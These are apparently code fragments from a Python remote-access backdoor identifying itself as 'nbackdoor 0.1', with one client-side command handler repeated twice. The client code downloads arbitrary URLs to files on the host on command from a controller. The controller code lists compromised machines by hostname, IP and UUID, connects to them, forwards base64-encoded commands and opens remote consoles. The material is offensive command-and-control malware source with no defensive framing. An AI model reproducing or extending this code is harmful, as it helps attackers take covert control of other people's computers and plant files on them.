def parse_command(self, cmd): input_array = cmd.strip().split() command_str = input_array[0] # ==================== # ===== download ===== # ==================== if command_str == 'download': try: arguments_str = shlex.split(cmd)[1:] doc = """Usage: download URL FILENAME download (-h | --help) Options: URL Download URL. FILENAME Download file name(/path). -h --help Show this. """ args = docopt(doc, argv=arguments_str, help=True, version=None, options_first=False) self.send_data( 'Downloading "' + args['FILENAME'] + '" from "' + args['URL'] + '"...', self.to_controler) data = urllib.urlopen(args['URL']).read() with open(args['FILENAME'], 'wb') as f: f.write(data) self.send_data('Download finished.', self.to_controler) self.send_end(self.to_controler) except SystemExit as e: self.send_data(e.message, self.to_controler) self.send_end(self.to_controler) except Exception as e: self.send_data('unkown err: ' + e.message + '\n', self.to_controler) self.send_end(self.to_controler) return True elif command_str == 'cmd': self.send_data('You are allready in cmd.', self.to_controler) self.send_end(self.to_controler) return True # =================== # ======= cmd ======= # =================== else: return False
def parse_command(self, cmd): input_array = cmd.strip().split() command_str = input_array[0] # ==================== # ===== download ===== # ==================== if command_str == 'download': try: arguments_str = shlex.split(cmd)[1:] doc = """Usage: download URL FILENAME download (-h | --help) Options: URL Download URL. FILENAME Download file name(/path). -h --help Show this. """ args = docopt(doc, argv=arguments_str, help=True, version=None, options_first=False) self.send_data('Downloading "' + args['FILENAME'] + '" from "' + args['URL'] + '"...', self.to_controler) data = urllib.urlopen(args['URL']).read() with open(args['FILENAME'], 'wb') as f: f.write(data) self.send_data('Download finished.', self.to_controler) self.send_end(self.to_controler) except SystemExit as e: self.send_data(e.message, self.to_controler) self.send_end(self.to_controler) except Exception as e: self.send_data('unkown err: ' + e.message + '\n', self.to_controler) self.send_end(self.to_controler) return True elif command_str == 'cmd': self.send_data('You are allready in cmd.', self.to_controler) self.send_end(self.to_controler) return True # =================== # ======= cmd ======= # =================== else: return False
def parse_command(self, cmd): input_array = cmd.strip().split() command_str = input_array[0] if command_str != 'hack': if self.to_client_id is None: self.send_data('No aviable command.\n') self.send_end() else: self.control_to_client({'cmd': b64encode(cmd)}) return try: arguments_str = shlex.split(cmd)[1:] doc = """Usage: hack connect <client_id> hack (list | exit) hack new cmd hack (-h | --help) hack --version Options: connect <client_id> Connect to client. list List all online client. exit Disconnect linked client. new cmd Strat a new consloe. -h --help Show this. --version Show version. """ args = docopt(doc, argv=arguments_str, help=True, version='nbackdoor 0.1', options_first=False) # =================== # ===== connect ===== # =================== if args['connect']: if self.to_client_id is not None: self.send_data('Diconnect first.\n') self.send_end() return to = int(args['<client_id>']) if to in BackdoorSocketHandler.clients: to_client = BackdoorSocketHandler.clients[to] if not to_client.is_controller: to_client.send_json({'new_consloe': self.ID}) else: self.send_data('You can not connect to a control-client.\n') self.send_end() else: self.send_data('Not available target.\n') self.send_end() # ==================== # ==== disconnect ==== # ==================== elif args['exit']: if self.to_client_id is not None: self.to_client_id = None self.send_json({'disconnected': ''}) else: self.send_data('You have not connected to any clients.\n') self.send_end() # ==================== # ======= list ======= # ==================== elif args['list']: data = '' for key, client in BackdoorSocketHandler.clients.items(): data += str(key) + '\t' + client.HOST_NAME + '\t' + \ client.request.remote_ip + '\t' + client.UUID + '\n' self.send_data(data) self.send_end() # =================== # === new console === # =================== elif args['new'] and args['cmd']: to = self.to_client_id if to is None: self.send_data('You have not connected to any clients.\n') self.send_end() else: self.control_to_client({'new_consloe': self.ID}) except SystemExit as e: self.send_data(e.message) self.send_end() except Exception as e: self.send_data('unkown err: ' + e.message + '\n') self.send_end()